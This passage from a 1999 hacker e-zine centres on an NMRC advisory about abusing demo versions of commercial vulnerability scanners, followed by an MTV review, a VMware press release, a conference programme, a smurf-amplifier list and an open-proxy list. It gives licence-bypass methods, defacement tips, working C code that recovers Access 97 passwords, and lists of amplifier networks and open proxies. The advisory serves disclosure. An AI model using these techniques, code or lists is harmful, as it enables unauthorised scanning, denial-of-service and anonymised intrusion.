directories, and most required you have local admin access to run them, or
at least take advantage of all of their features.
Why We Did This
---------------
We had heard of hackers using commercial vulnerability scanners to map out
networks before they were compromised, plus we found traces of an ISS scan
on a host that should not have had ISS run against it, and wondered who did
it. When we determined who had done it, we could not believe someone so lame
could figure out the security surrounding ISS, and hence.....
Products Background
-------------------
Commercial vulnerability scanners all tout themselves as being more robust,
more thorough, and better designed than their freeware counterparts. The idea
is simple -- to stay ahead of the intruders, you need a powerful tool that
can perform assessments of entire corporate networks with dozens and dozens
of vulnerability checks. To ensure their scanners are the most thorough and
complete scanners available, the larger software developers of vulnerability
scanners have research teams that scour the Internet for the latest
vulnerabilities, and hire coders to help add checks for these vulnerabilities
to their scanners.
The top scanners are developed for large-scale scanning, and are capable of
looking at thousands of hosts for hundreds of vulnerabilities. They have a
myriad of reporting features, most have some type of automation, and they are
even capable of actual compromise (through password guessing, file grabbing,
etc).
NMRC recently looked at four scanners -- Bindview's HackerShield, NAI's
CyberCop, ISS' Internet Scanner, and WebTrend's Security Analyzer. All four
have the ability to perform detailed and thorough scans of target systems,
each with various reporting capabilities. And while their intent is to give
the corporate or government system administrator an advantage over the
potential intruder by providing the most com
prehensive tool for finding
vulnerabilities, due to the lack of decent security surrounding the demo
versions of these tools, some are being downloaded and (ab)used by the
intruder community.
Legality Note
-------------
Using these commercial products without paying for them, or altering or
bypassing any licensing restrictions, is illegal. Of course one would assume
that any potential intruder getting ready to commit an illegal intrusion
into someone else's computer system is probably going to disregard the
licensing restrictions of most commercial software, including vulnerability
scanners.
We are not advocating you download and point a demo product at a .mil site
just to see if it works. This is more than port scanning, which for the most
part is legal. The Denial of Service and file-grabbing features alone of some
of these products could land you in jail if you are not careful.
NAI's CyberCop Scanner
----------------------
Minutes to start scanning : 0
Large-scale Usability : 100%
Favorite feature : CASL (Custom Audit Scripting Language)
There are no target restrictions on this product. Download the demo from
NAI's web site, point it at anything you want, and begin gathering data.
When NAI's technical support line was contacted (see Appendix A below), we
asked if we were on the honor system as we could not find any restrictions.
The individual at tech support laughed and said yes, but stated the download
was a limited time demo of thirty days. We could find no such time restriction
ourselves.
Large scale scanning was a piece of cake -- simply add in your hosts and start
whacking away.
Script kiddie bonus: Hollywood-influenced script kiddies will love the
network mapping features, which allow you to fly around in a virtual 3D world
looking at network nodes. Use only the Trace Route to Host module to create a
nifty 3D model of the network you plan to compromise.
Bindview's HackerShield
-----------------------
Minutes to start scanning : 2
Large-scale Usability : 95%
Favorite feature : HSMapper, the remote OS identifier that
automatically identified target systems.
To keep track of what vulnerabilities were checked against what systems, and
what IP addresses are allowed to be checked, HackerShield uses a database.
Unfortunately, they use a Microsoft Access database, and rely on Access'
built-in password protection to protect the database. The password is stored
in plaintext in the HackerShield.exe program, which renders the security
surrounding the database useless. Even if it were obfuscated, it is easy to
recover (see Appendix B below).
When downloading the demonstration version of the HackerShield program from
the Bindview web site, you are emailed a 5-IP address license that is good
for two weeks. The license file is loaded into the database.
Opening the HackerShield.mdb file in Access (using the recovered password)
allows an intruder to manipulate all of the tables inside, including the
licensing parameters. You can increase the number of hosts you can scan, the
network segments to scan hosts on, and you can adjust the expiration date.
Anyone with basic database knowledge should be able to make the adjustments
fairly quickly.
We pointed this out to Bindview, and they were already aware of this flaw in
their licensing. Their attitude surprised us, but essentially they'd prefer
to focus programming resources toward enhancing their product than securing it
from license defeating. They are aware the steps they have taken are weak, but
insist the main goal is to help the commercial user stay within the limits of
what they paid for, not protect it from nefarious use.
Large scale scanning was limited to editing the database, although it wasn't
a hard thing to do.
Script kiddie bonus: Use the automation features to schedule scans to run
unattended on your NT workstation. The scheduled jobs can run even if you are
not logged in, as they use a Service User to perform automation.
ISS' Internet Scanner
---------------------
Minutes to start scanning : 1
Large-scale Usability : 95%
Favorite feature : Can run in command line mode if properly coaxed.
Downloading ISS' Internet Scanner allows you to demo the product in localhost
mode. To use the scanner against network targets requires a key. To give the
appearance of sophisticated encryption, the key looks similar to a PGP public
key, with "-----BEGIN ISSKEY5----" at the beginning of the key and
"-----END ISSKEY5----" at the end of the key. Between these lines are a series
of lines of "secret cipher text".
While it is fairly obvious that the encryption used here is weak (it is U.S.
exportable) and it is a symmetrical algorithm, it has apparently been broken
to some degree. A quick search in AltaVista using the key words "keygen" and
"iss" should reveal the program that a number of Russian and Eastern European
hackers have been making use of for months.
When contacted about this, ISS responsed:
"Internet Scanner restricts the range of IP addresses reachable by a given
customer. The IP address restrictions protect a customer from accidentally
scanning outside their own network or it can be used to keep Administrator
Jane from scanning Administrator Bob's portion of the network.
"Over the years we have advanced the security around the license key
mechanism that controls this feature. The latest version of our license key
mechanism uses a DSS signature on a SHA hash of both the license as a whole
and individual pieces of information within the key to insure integrity, and
then uses blowfish for encrypting the key as a packaging mechanism. The
cracker discovered a flaw in the signing and signature verification
implementation and exploited those flaws, providing a method to bypass the
control mechanism. Despite the signing/verification flaw, defeating the
license mechanism required considerable expertise and effort.
"Internet Scanner is designed to be easy to detect when scanning a network.
By design Internet Scanner also leaves "fingerprints" in the logs of scanned
machines. These fingerprints provide a means for determining the computer
performing the scan.
"We will continue to enhance the security of Internet Scanner's control
mechanisms. Despite the difficulties and inconvenience of controlling
Internet Scanner's range we believe it is the appropriate action for a
security company and the behavior expected by our customers."
This was the best response. We'll _assume_ they will fix the signing and
verification flaw in later releases of their software.
Large-scale scanning was easy to set up, but was dependent on the key you
generated using the keygen program. New class Bs and Cs to target required new
keys.
Script kiddie bonus: Print detailed reports with exactly how to correct the
problems and leave them behind at cracked sites for the poor admins to use (ISS
has excellent reporting capabilities). In fact, replace the index.html with the
generated HTML report you used to attack the site. Probably would be much more
interesting than most web defacements anyway.
Webtrends' Security Analyzer
----------------------------
Minutes to start scanning : 18
Large-scale Usability : 0%
Favorite feature : Had a vulnerability test for the HackerShield
service user we reported on recently.
Security Analyzer was quick to set up and get going, but the web demo version
is hard-wired for localhost. We decided to give it a whirl anyway, especially
after we discovered that the "localhost" hard wiring was simply to grab the
first adapter configured. We were able to scan hosts we didn't own by deleting
and configuring adapters until 10.10.10.10 was grabbed first by Security
Analyzer. Once that was done, locally loaded proxy software or software that
does NAT (Network Address Translation) allowed us to direct traffic to outside
sites.
We did go over our 5 minute goal, and we were only able to scan one host at a
time. To scan a new host required proxy/NAT reconfiguration each time, and this
was very time consuming considering the fact we had three other scanners that
allowed much more freedom. Therefore large-scale scanning was simply
impractical for our purposes.
Webtrends had also put in a 14-day limit on the trial version, which worked as
advertised. We did not try to defeat this limit.
NMRC did not contact Webtrends as we felt we really didn't have much to report.
They probably shouldn't use the first adapter on the list, and use 127.0.0.1
instead, but loading and configuring a proxy or NAT to invoke network scans is
a lot of effort. As far as asking which proxy/NAT software to use, take your
pick. We encountered problems with every package we tried as various
vulnerability checks would cause the setup to crash or malfunction.
Script kiddie bonus: Sorry, more trouble that it's worth.
Conclusions
-----------
If you are a system administrator, please bear in mind that using one of the
commercial scanners does not give you any tactical advantage over the intruders
you are trying to keep out of your system. When one of these commercial vendors
state that their tool allows you to see your systems the way a potential
intruder does, they are not kidding.
It is true (as stated in ISS' response above) that these software packages
will leave footprints in systems. This can be a blessing and a curse. If you
have an "outer perimeter" computer system you scan with CyberCop (leaving a
footprint), if compromised the intruder can see what is used to test the
security of the system, and could conceivably turn that against you by starting
a general mapping of your internal systems using CyberCop. It is possible that
a sys admin will overlook the intruder's CyberCop footprints, thinking they are
his own.
Solution/Workaround
-------------------
There is no solution or workaround. This is the old "please Dan, don't
release Satan" argument. We are happy to see that there are commercial
vulnerability scanners with fine research behind them. We are also happy that
users can download demo products to test before they buy. Just bear in mind
these tools can and more importantly ARE being used by the underground (which
is the main reason we are releasing this paper).
If you are using an IDS, you might want to make sure it can detect some of the
more exotic exploits these products can produce, especially if these exotic
exploits actually compromise systems or perform DoS attacks. If you've
adjusted your IDS to ignore certain patterns, for example a standard ISS scan,
them perhaps you should review those rules.
Comments
--------
NMRC believes that if you are charging money for a security product that has
little to no security built in to protect itself from abuse, it is in fact a
poor message. There are five approaches:
1) Do nothing (NAI).
2) Do a minimal amount to keep the end user within the license
restrictions (Bindview).
3) Come up with something the *looks* like state-of-the-art
encryption and licensing, and hope it isn't broken (ISS).
4) The downloadable demo version is crippled (Webtrends).
5) Use a combination of copy protection techniques coupled with
encryption and registration keys so that your killer app scanner
will not be used by the people you're trying to defend against
(anybody? nobody?).
Thanks to Yan for the Access 97 byte string used to recover passwords.
Appendix A
----------
We prefer contacting vendors via email due to the natural electronic paper
trail it produces. If that doesn't work, we will start calling tech support.
For more info on NMRC's disclosure policy, please see
http://www.nmrc.org/advise/policy.txt.
Appendix B
----------
This program will end the lame Access password recovery shareware industry.
Sorry, but information wants to be free.
/*************************************************************************
ACC_REC - Access 97 Password Recovery
Written by Simple Nomad [thegnome@nmrc.org] 17Sept99
http://www.nmrc.org/
Compile using DJ Delorie's excellent port of the GNU compiler, which is
available from http://www.delorie.com/
Thanks to Yan for pointing us to the sekrit string!
*************************************************************************/
/* includes */
#include <stdio.h>
#include <stdlib.h>
/*
* Main program....
*/
int main(int argc, char *argv[])
{
FILE *fDatabase;
int i;
unsigned char recover[13];
unsigned char password[13];
unsigned char sekrit[13]={0x86,0xFB,0xEC,0x37,0x5D,0x44,0x9C,0xFA,0xC6,0x5E,0x28,0xE6,0x13};
/* Say hello... */
printf("ACC_REC - Recover the password for Microsoft Access databases\n");
printf("Comments/bugs: thegnome@nmrc.org\n");
printf("http://www.nmrc.org/\n");
printf("1999 (c) Nomad Mobile Research Centre\n");
printf("Database filename must be in 8.3 format\n\n");
if (argc!=2)
{
printf("USAGE: acc_rec <database>\n\n");
printf("EXAMPLES:\n");
printf(" acc_rec secretz.mdb\n");
exit(-1);
}
fDatabase=fopen(argv[1],"rb");
if (fDatabase == NULL)
{
printf("Unable to open database file %s.\n",argv[1]);
exit(1);
}
fseek(fDatabase,66,SEEK_SET);
fread(&recover,13,1,fDatabase);
fclose(fDatabase);
if (!memcmp(recover,sekrit,13))
{
printf("There is no password set for database %s\n",argv[1]);
exit(0);
}
for (i=0;i<13;i++) password[i]=recover[i]^sekrit[i];
printf("The password is - ");
for (i=0;i<13;i++)
{
if (isprint(password[i]))
printf("%c",password[i]);
}
printf("\n");
}
_______________________________________________________________________________
@HWA
19.0 MTV Makes Up True Life
~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Anonymous
Last night MTV aired its overly promoted special True
Life: I'm a Hacker. MTV was given wide access to
numerous underground organizations and individuals and
was given the perfect opportunity to accurately portray
what hacking is all about it. Instead they focus on
arrests, drug use, political correctness, and generally
display a very distorted view of what really happens in
the computer underground.
HNN received numerous comments in regards to the
show. Some of the more eloquent ones we have posted
here.
Comments From HNN Readers
http://www.hackernews.com/orig/mtv.html
he following was received by HNN after the airing of
MTV's True Life: I'm a Hacker
contributed by Anonymous
'True Life, I'm a Hacker' fully demonstrated MTV's aptitude
for generating educational, accurate, and informative
programming. The young, uneducated, MTV television
audience needed that mockumentary about as much as
the preceding 'Karaoke Boobs' game show. Having
conversed with "True Life's" producers when they started
filming, it was apparent from the beginning that they were
only looking for a few amateur crackers gullible enough to
admit to criminal activities on national television. Thanks a
lot for making role models out of a few misguided kids.
In all fairness, they did end the show with a few shots of
Mantis educating schoolmates about proper HTML design.
Way to go, MTV, commending the underprivileged youth.
How very politically correct of them. Now, as the virgin
AOL audience gets their first taste of the exciting, daring,
world of 'hackers', they'll know to let Parse TV and John
Vranesevich field their questions. Not once did MTV
capitalize on the creative spirit that embodies the hacker,
or the ubiquitous self-reliance and profound skepticism
that distinguishes young hackers from their mainstream
peers and schoolmates.
So in a few words, I'm disappointed. MTV had an
opportunity to educate, and to impart some hacking spirit
to the disillusioned masses. Instead, it spoke to
unfortunate, angry, and repressed high school geeks,
burning into the backs of their heads the phrase: 'Hacking
is Power'. So go forth and invade others privacy, misusing
your knowledge to scare your peers. Make yourself seem
bigger then you are. If you made it far enough to watch
the credits, you'd note that even MTV personalities fear
you. Isn't that the way true life should be?
contributed by Mike
The MTV "True Life" show was disturbingly
sensationalistic, although I really should have expected it.
Serena (although an attractive woman) gives virtually no
real insight into things, no big picture. This would be fine if
the show genuinely was about "observational" asethetics
that could be found in a documentary--but this show
presented itself as a Journalistic show. It really didn't
explore very much... and I kind of felt at times that
Serena was _straining_ to make things look even more
exciting, when they weren't. For example, the illustrious
MYSTERY DISK, which reminds me of something one would
find directly out of Hackers The Movie, and we all know
what a truthful and honest cinematic experience that
was. The three guys involved weren't particularly good at
articulating themselves (particularly Shamrock, who looked
more interested in impressing us with how he GOT INTO
HACKING FO' ALL DA WRONG REASONS). I watched the
show with folks who have virtually no knowledge of
"hacker stuff", and they came out with tons of
misconceptions. Essentially, the show portrays itself as
potentially objective ("hacker: renegade or criminal?"), but
all its final premises are basically anti-hacker, not to
mention confusing. I guess that's all you can do in a half
hour, in a medium marketed for short attention spans,
though, huh?
MTV had promised HNN an advance copy of the show for
review. After watching the show we know why we never
got it.
@HWA
20.0 VMWARE For Windows
~~~~~~~~~~~~~~~~~~
VMware Makes Personal Computing Safer and more Productive with Revolutionary
New Windows Application
VMware for Windows NT and Windows 2000 Commercially
Available After Successful 60-Day Public Beta
Palo Alto, Calif., September 7, 1999 - VMware Inc. today announced the
commercial release of a Windows version of its software, a revolutionary
new application that enables personal computers to run one or more
protected sessions concurrently using one or more operating systems on a
single machine. For the estimated 25 million Windows NT users, VMware for
Windows NT and Windows 2000 provides for the first time a safe and easy way
to install, test, and run concurrently a wide variety of applications and
operating systems, without fear of system or network crashes, security
breaches or virus attacks.
Commercial release follows an extremely successful two-month public beta,
during which more than 25,000 registered users - primarily developers,
corporate IT professionals and universities - downloaded evaluation copies
from the VMware Web storefront. The commercial version of VMware Virtual
Platform for Windows NT/2000 sells for $299 with VMware offering a special
30-day promotional price of $199. The non-commercial version sells for $99
with a special 30-day promotional price of $75.
The highly anticipated Windows version of VMware rounds out the company's
initial product set. Since the public beta release of VMware for Linux
on March 15, 1999, more than 100,000 registered users - primarily
developers, power users and hobbyists - in 130 countries have downloaded
evaluation units. VMware for Linux sales have also been strong, running at
a multi-million dollar annual run rate after the first four months.
"VMware for Windows NT/2000 allows us to bring the Virtual Platform to a
much broader group of users," said Diane Greene, co-founder and chief
executive officer of VMware. "This is a great thing given our initial
customers' validation of the product's usefulness. VMware for Linux users
have shown tremendous passion and appreciation for the product. They have
chronicled the different ways it empowers them in more than 100 emails per
day plus a steady stream of web site and newsgroup postings. They are using
the software to support old operating environments along with new ones,
isolate their environments for security and reliability, and achieve more
efficient software development and testing. All of these uses and more
apply to the VMware for Windows NT/2000 product."
VMware Liberates the PC VMware is the first application to liberate
the PC from the constraint of being able to run only one session on one
operating system on one machine. In such a model, users must reboot,
repartition or reconfigure their PCs to switch between applications running
on different operating systems. Additionally, with such a tight lock
between operating system and machine, a PC's applications and data are
vulnerable to loss or corruption should anything go wrong. This makes
testing new software or upgrading to new versions of software risky.
VMware removes these constraints and these risks by enabling users to run
multiple protected sessions, each with full fault and security
isolation, on one or more operating systems. Not only does this give users
the freedom to run virtually any applications they wish concurrently; it
also prevents problems occurring in one session from affecting other
sessions. Should problems occur in a given session, users can undo the
changes made with the click of a mouse button. And, with VMware, users can
encapsulate their PC environments and run them on any machine with a simple
save and restart procedure.
"VMware provides Network Associates with a flexible environment for
developing and testing our software concurrently in several different
languages," said Erik Groeneveld, localization manager for Network
Associates EMEA in Amsterdam. "The undoable disk capability accelerates our
debugging efforts by allowing us to iterate rapidly through different test
programs."
Current versions of VMware are designed primarily for developers, corporate
IT professionals, security specialists and power users. The company
plans versions for corporate desktop users.
Easy to Install and Use VMware installs quickly without the need to
repartition, reconfigure or add processing power, and does not modify the
host operating system in any way. With VMware's graphical desktop
interface, users can flip between applications or operating systems running
in the background with a single keystroke. VMware provides an integrated
help facility to solve many user inquiries on the spot, which is
supplemented by bundled installation and bring-up support plus an extensive
Frequently Asked Questions (FAQ) on VMware's web site.
Variety of Native and Virtual Machine Operating Systems Supported
VMware for Linux currently supports as native operating systems all major
variants of Linux. VMware for Windows NT and Windows 2000 supports Windows
NT and the third beta release of Windows 2000 as hosts. Native support for
Windows 98 is planned for the future.
Virtual machine operating systems supported by both versions include all
major variants of Linux, Windows NT, Windows 2000, Windows 95/98,
Windows 3.1 and DOS, FreeBSD, NetBSD and other major BSD versions of Unix
and Solaris for Intel (version 7 and later).
VMware runs on all Intel-based, x86 PCs across all devices and
configurations. While VMware consumes very little system overhead,
additional operating systems may require users to scale system resources
proportionately to achieve maximum performance. VMware recommends a Pentium
processor running at 266 MHz or faster and a minimum of 96 MB of RAM.
Web Availability Both the Linux and Windows NT and Windows 2000
versions of VMware are available directly from VMware via the company's Web
storefront. Customers may also purchase VMware or learn more about the
product from Web sites in German and soon in Japanese.
About VMware VMware is the originator of virtual machine applications
for standard personal computers. The company's roster of customers includes
developers, corporate IT professionals, power users, government agencies,
colleges and universities and computer enthusiasts worldwide. VMware is a
privately held company based in Palo Alto, Calif.
# # #
VMware is a trademark of VMware, Incorporated. All other names and marks
mentioned herein are the property of their respective owners.
@HWA
21.0 CQRE'99
~~~~~~~
***************************************************************
Call for Participation
CQRE [Secure] Congress & Exhibition
Duesseldorf, Germany, Nov. 30 - Dec. 2 1999
---------------------------------------------------------------
provides a new international forum covering most aspects of
information security with a special focus to the role of
information security in the context of rapidly evolving
economic processes.
---------------------------------------------------------------
Part I covers stratecial issues of IT-Security while Part II
will discuss more technical issues, like
- SmartCard Technology / Security
- Public Key Infrastructures
- Network Security
- Mobile Security
- Intrusion Detection
- Enterprise Security
- Security Design
- Electronic Payment
- Electronic Commerce
- Cryptography
- Espionage
- Interoperability
- Biometrics
- Risk Management
- Signature Laws
- Training / Awareness
for example.
----------------------------------------------------------------
CQRE-PROGRAM:
----------------------------------------------------------------
Part I - Strategical Aspects
Tuesday, November 30, 1999
----------------------------------------------------------------
09.30 Opening: Chairman Paul Arlman, Federation of European
Stock Exchange
09.45 Keynote Dr.Hagen Hultzsch, Deutsche Telekom AG
"A corporate group in transition - how Deutsche Telekom is
preparing for the digital economy."
10.15 Keynote Jean-Paul Figer, Cap Gemini S.A
"Brave Digital World? The balance between chances and
risks for the information society."
10:45 Coffee
11:15 Five parallel Workshops:
Workshop 1 - "Values & standards" (Prof.Dr. Gertrud Höhler)
Workshop 2 - "Law & regulation" (Klaus-Dieter Scheurle)
Workshop 3 - "Strategy & success"
Workshop 4 - "Role of technology" (Karl-Heinz Streibich)
Workshop 5 - "Monitoring & control" (Piet van Reenen)
12.45 Lunch
14.15 Keynote Dr.Ulrich Schumacher, CEO Infineon
"Network Citizen - what does the networked citizen and
consumer stand to gain and lose?"
15.15 Workshop results (Moderator Paul Arlman)
15.45 Coffee
16.00 Summary / 10-point-programme
17.00 Happy Hour
18.00 Platform debate (Moderator Klaus-Peter Siegloch, ZDF)
----------------------------------------------------------------
Part II - Technical Aspects:
Wednesday, December 1, 1999
----------------------------------------------------------------
09.00 R.Baumgart: Welcome
09.15 B.Schneier: "Attack trees - a novel methodology
for risk management."
10.00 Refreshments
10.15 Four parallel tracks:
I. Risk Management:
D.Povey: "Developing Electronic Trust Policies
Using a Risk Management Model"
J.Hopkinson: "Guidelines for the Management
of IT-Security"
II. Security Design:
L.Romano, A.Mazzeo and N.Mazzocca: "SECURE:
a simulation tool for PKI design"
D.Basin: "Lazy Infinite State Analysis
of Security Protocols"
III. Enterprise Security:
P.Kunz: "The case for IT-Security"
W.Wedl: "Integrated Enterprise Security - Examples
conducted in large European Enterprises"
B.Esslinger: "The PKI development of Deutsche Bank"
IV. Tutorial:
H.Handschuh: "Cryptographic SmartCards"
11.45 Lunch
13.15 S.Senda: "Electronic Cash in Japan"
14.00 M.Yung, Y.Tsiounis, M.Jakobsson, D.MRhaihi:
"Panel: Electronic payments where do we go
from here?"
15.00 Four parallel tracks:
I. SmartCard Issues
R.Kehr, J.Possega, H.Vogt: "PCA: Jini-based
Personal Card Assistant"
M.Nyström, J.Brainard: "An X.509-Compatible
Syntax for Compact Certificates"
II. Applications
D.Hühnlein, J.Merkle: "Secure and cost efficent
electronic stamps"
K.Sako: "Implementation of a Digital
Lottery Server on WWW"
III. PKI-experiences
J.Lopez, A.Mana, J.J.Ortega: "CerteM:
Certification System Based on Electronic
Mail Service Structure"
K.Schmeh: "A method for developing PKI models"
J.Hughes: "The Realities of PKI Inter-Operability
IV. Tutorial
S.Kent: "How many Certification Authorities
are Enough?"
16.45 J.J.Quisquater: "Attacks on SmartCards
and Countermeasures"
17.00 M.Kuhn: "How tamper-resistant are
todays SmartCards?"
18.15 L. Martini,M. Kuhn, J.J.Quisquater, Hamann:
"Secure SmartCards - Fact or Fiction"
19.00 Get-together with music (4 to the bar)
and CQRE - Speakers corner - rump session
----------------------------------------------------------------
Part II - Technical Aspects:
Thursday, December 2, 1999
----------------------------------------------------------------
09.00 R.Baumgart : Good morning
09.15 P.Landrock: Mobile Commerce
10.15 Four parallel tracks:
I. Mobile Security
M.Borchering: "Mobile Security - an
Overview of GSM, SAT and WAP"
S.Pütz, R.Schmitz, B.Tiez: "Secure Transport of
Authentication Data in Third Generation Mobile
Phone Networks"
II. Cryptography
J.P. Seifert, N.Howgrave: "Extending Wiener`s
attack in the Presence of many decrypting
exponents"
S.Micali, L.Reyzin: "Improving The Exact
Security of Fiat-Shamir Signature Schemes"
III. Network Security
C.Yuen-yan: "On Privacy Issues of Internet
Access Services via Proxy Servers"
Jorge Davila, Javier Lopez and Rene Peralta:
"VPN solutions in diverse layers of the
TCP/IP stack"
B.Schneier, Mudge, D.Wagner: "Cryptanalysis of
Microsofts PPTP Authentification Extensions
(MS-CHAPv2)"
IV. Tutorial
I.Winkler: "How to fight the inner enemy"
12.00 J.S. Coron: "On the security of RSA padding"
12.45 Lunch
14.15 Four parallel tracks:
I. PKI
A.Young, M.Yung: "Auto-Recoverable
Auto-Certifiable Cryptosystems (a survey)"
II. Intrusion Detection
D.Bulatovic, D.Velasevic: "A Distributed Intrusion
Detection System based on Bayesian Alarm
Networks"
III. Espionage
M.Fink: "Espionage - State of the Art and
Countermeasures"
W.Haas: "Informational Self Defense"
IV. Tutorial
A.Philip: "Secure E-business"
15.00 S.Kent: "Security for Certification Authorities
- A system approach"
16.00 Four parallel tracks:
I. Interoperability
S.Gupta, J.Mulvenna, S.Ganta, L.Keys, D.Walters:
"Interopreability Characteristics of S/MIME
Products"
M.Rubia, J.C.Cruellas, M.Medina: "The DEDICA
Project: The Solution to the Interoperability
Problems between the X.509 and EDIFACT Public
Key Infrastructures"
II. Biometrics
H.Arendt: "Biometrics - State of the Art"
A.P.Gonzales-Marcos, C.Sanchez-Avila,
R.Sanchez-Reillo: "Multiresolution Analysis and
Geometric Measure for Biometric Identification"
III. Signature Laws
Workshop - Leader, K.Keus: "German Signature Act -
Expiriences made for Europe?"
IV. Tutorial
J.Massey: "Cryptography at a glance"
17.45 S.Baker, R.Schlechter, T.Peters, T.Barassi:
"Panel: Perspectives for a global signature law"
18.30 R.Baumgart: Closing Remarks
-
[To unsubscribe, send mail to majordomo@lists.gnac.net with
"unsubscribe firewalls" in the body of the message.]
@HWA
22.0 Top 10 Smurf Amplifiers
~~~~~~~~~~~~~~~~~~~~~~~
Current top ten smurf amplifiers (updated every 5 minutes)
(last update: 1999-10-15 04:26:04 CET)
Network #Dups #Incidents Registered at Home AS
195.10.36.0/24 579 0 1999-10-14 01:54 not-analyzed
134.89.10.0/24 75 0 1999-09-09 15:28 not-analyzed
192.0.0.0/2 73 0 1999-01-04 06:39 not-analyzed
128.0.0.0/1 73 0 1999-01-28 02:36 not-analyzed
194.170.181.0/24 72 0 1998-10-24 09:42 AS5384
209.233.219.0/24 72 0 1999-06-04 17:56 AS5673
128.0.0.0/33 71 0 1998-09-25 18:18 not-analyzed
128.0.0.0/225 71 0 1999-02-10 22:16 not-analyzed
192.0.0.0/34 69 0 1998-12-30 07:31 not-analyzed
206.55.18.0/24 69 0 1999-07-22 19:02 not-analyzed
113387 networks have been probed with the SAR
19797 of them are currently broken
13962 have been fixed after being listed here
23.0 Cyberarmy lists, Proxies, Wingates, Shells etc.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proxies
~~~~~~~
udu.calvin.edu port 6532 [latency: 10/14/99 18:16:22 EDT by Demon Warrior 2000]
proxy.com port 8080 [latency: 10/14/99 17:36:29 EDT by helicus]
iol.it port 8080 [latency: 10/14/99 16:24:25 EDT]
207.17.92.23 port 113 [latency: 10/14/99 15:52:25 EDT by Hoocarez]
216.208.10.72 port 1080 [latency: 10/14/99 15:14:31 EDT by itzim]
194.170.168.1 port 8080 [latency: 10/14/99 15:09:23 EDT by itzme]
proxy.rousse.bitex.com port 3128 [latency: 10/14/99 12:14:13 EDT]
austra6.lnk.telstra.net port 8080 [latency: 10/14/99 06:46:42 EDT by Azmeer]
Pelican.CITY.UniSA.edu.au port 8080 [latency: 10/14/99 06:46:03 EDT by Azmeer]
dajenkin.ozemail.com.au port 8080 [latency: 10/14/99 06:45:07 EDT by Azmeer]
proxy.connect.com.au port 8080 [latency: 10/14/99 02:36:33 EDT by Arthur Desilva]
bess-proxy.ncocc.ohio.gov port 8972 [latency: 10/13/99 22:58:03 EDT by kryptic]
195.92.194.44 port 80 [latency: 10/13/99 15:56:16 EDT by Itznotme]
proxy1.emirates.net.ae port 8080 [latency: 10/13/99 15:52:13 EDT]
iol.it port 8080 [latency: 10/13/99 12:25:23 EDT by system]
proxy.einet.bg port 8080 [latency: 10/13/99 03:04:56 EDT by lg02]
195.92.194.44 port 80 [latency: 10/12/99 23:56:22 EDT]
207.17.92.23 port 113 [latency: 10/12/99 23:32:38 EDT]
207.17.92.93 port 113 [latency: 10/12/99 18:57:23 EDT]
194.170.168.1 port 8080 [latency: 10/12/99 05:30:25 EDT]
204.81.0.20 port 80 [latency: 10/12/99 03:35:16 EDT by ThA LasT Don]
161.142.78.84 port 80 [latency: 10/11/99 19:56:31 EDT]
andele.cs.tu-berlin.de port 80 [latency: 10/11/99 16:11:30 EDT by dealer]
145.101.213.2 port 80 [latency: 10/11/99 12:41:32 EDT by SUperblY DUTCH]
proxy.com port 8080 [latency: ]
216.208.10.72 port 1080 [latency: 10/10/99 21:47:10 PDT]
gw1.ksu.edu.sa port 80 [latency: 10/09/99 02:13:10 PDT by Murad AbouAmmoh]
ican.net port 1080 [latency: 10/09/99 01:30:35 PDT by pippo]
iol.it port 8080 [latency: 10/09/99 01:23:35 PDT]
proxy.surfeu.at port 8000 [latency: 10/08/99 18:01:56 PDT by webcash]
cache1.worldcom.ch port 8080 [latency: 10/08/99 15:12:24 PDT by THe Real NEcRo]
l.cis.cg.ac.yu port 8080 [latency: 10/08/99 08:10:37 PDT by IvanGrozni]
proxy.easynet.co.uk port 3128 [latency: 10/08/99 00:36:21 PDT by Dry Ice]
199.176.186.5 port 81 [latency: 10/08/99 00:28:40 PDT]
203.34.175.19 port 80 [latency: 10/08/99 00:15:22 PDT by ThA LasT Don]
210.8.232.3 port 80 [latency: 10/08/99 00:14:56 PDT by ThA LasT Don]
195.92.197.62 port 80 [latency: 10/07/99 23:47:09 PDT by ThA LasT Don]
195.92.197.61 port 80 [latency: 10/07/99 23:46:58 PDT by ThA LasT Don]
195.92.197.60 port 80 [latency: 10/07/99 23:46:48 PDT by ThA LasT Don]
195.92.194.44 port 80 [latency: 10/07/99 14:02:57 PDT by gva_genius]
212.26.18.21 port 45975 [latency: 10/07/99 11:26:04 PDT]
proxy.tele.net port 1080 [latency: 10/07/99 03:58:00 PDT by Nickola Naous]
plov.omega.bg port 1080 [latency: 10/07/99 03:57:48 PDT by Nickola Naous]
194.102.225.95 port 1080 [latency: 10/07/99 00:27:04 PDT by Mr.Nice Guy]
207.220.21. port 80 [latency: 10/07/99 00:26:36 PDT by Mr.Nice Guy]
cacheflow.insync.net port 8080 [latency: 10/07/99 00:26:11 PDT by Mr.Nice Guy]
proxy1.rdc1.sdca.home.com port 8080 [latency: 10/06/99 18:56:22 PDT]
195.92.194.82 port 80 [latency: 10/06/99 18:16:33 PDT by ThA LasT Don]
andele.cs.tu-berlin.de port 80 [latency: 10/06/99 16:10:08 PDT]
10.0.1.124 port 8080 [latency: 10/06/99 09:46:38 PDT by 2-415-1]
195.92.197.43 port 3 [latency: 10/06/99 08:45:28 PDT]
proxy1.kabelfoon.nl port 80 [latency: 10/06/99 08:30:02 PDT]
207.220.21.15 port 80 [latency: 10/06/99 00:11:06 PDT by ThA LasT Don]
203.23.144.161 port 80 [latency: 10/06/99 00:10:17 PDT by ThA LasT Don]
206.151.68.88 port 80 [latency: 10/06/99 00:09:42 PDT by ThA LasT Don]
cache-web.grenet.fr port 80 [latency: 10/06/99 00:08:53 PDT by ThA LasT Don]
204.178.22.18 port 8080 [latency: 10/06/99 00:08:05 PDT by ThA LasT Don]
209.30.0.53 port 8080 [latency: 10/06/99 00:07:27 PDT by ThA LasT Don]
203.20.76.9 port 8080 [latency: 10/06/99 00:06:31 PDT by ThA LasT Don]
203.20.76.8 port 8080 [latency: 10/06/99 00:06:11 PDT by ThA LasT Don]
203.20.76.7 port 8080 [latency: 10/06/99 00:05:50 PDT by ThA LasT Don]
203.20.76.6 port 8080 [latency: 10/06/99 00:05:28 PDT by ThA LasT Don]
203.20.76.5 port 8080 [latency: 10/06/99 00:05:05 PDT by ThA LasT Don]
203.20.76.4 port 8080 [latency: 10/06/99 00:04:41 PDT by ThA LasT Don]
203.20.76.3 port 8080 [latency: 10/06/99 00:04:08 PDT by ThA LasT Don]
203.20.76.2 port 8080 [latency: 10/06/99 00:03:44 PDT by ThA LasT Don]
